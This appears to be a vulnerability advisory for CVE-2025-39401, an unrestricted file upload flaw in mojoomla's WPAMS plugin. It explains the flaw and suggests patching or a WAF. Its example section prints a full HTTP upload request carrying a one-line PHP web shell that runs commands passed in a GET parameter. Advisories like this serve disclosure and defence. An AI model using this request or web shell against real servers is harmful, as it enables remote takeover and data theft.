Overview
CVE-2025-39401 is a severe vulnerability that affects mojoomla’s WPAMS from its initial version up until version 44.0, released on August 17, 2023. This vulnerability is of particular concern because it allows an attacker to upload a web shell to a web server, potentially leading to a full system compromise or data leakage. As WPAMS is widely used, a significant number of systems are at risk of being exploited. Immediate action is recommended to mitigate this vulnerability.
Vulnerability Summary
CVE ID: CVE-2025-39401
Severity: Critical (CVSS score 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Full system compromise, potential data leakage
Affected Products
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Product | Affected Versions
mojoomla WPAMS | n/a to 44.0
How the Exploit Works
The vulnerability is based on the unrestricted file upload mechanism in mojoomla WPAMS. In normal circumstances, file upload mechanisms are designed to only accept specified file types. However, in this case, the lack of proper file type validation enables the attacker to upload malicious file types, including web shells.
A web shell is a script that, when executed on a server, provides a hacker with a means of remote control over the server. In this case, an attacker could upload a web shell to the web server through WPAMS, execute it, and potentially gain complete control over the system.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. This is a sample HTTP POST request that uploads a malicious web shell:
POST /wpams/upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the file `shell.php` is a simple web shell that executes commands passed via the `cmd` GET parameter. Once uploaded and executed, it allows the attacker to run arbitrary commands on the server.
Mitigation
The best mitigation is to apply the vendor patch as soon as it is available. As a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to block or alert on suspicious file uploads.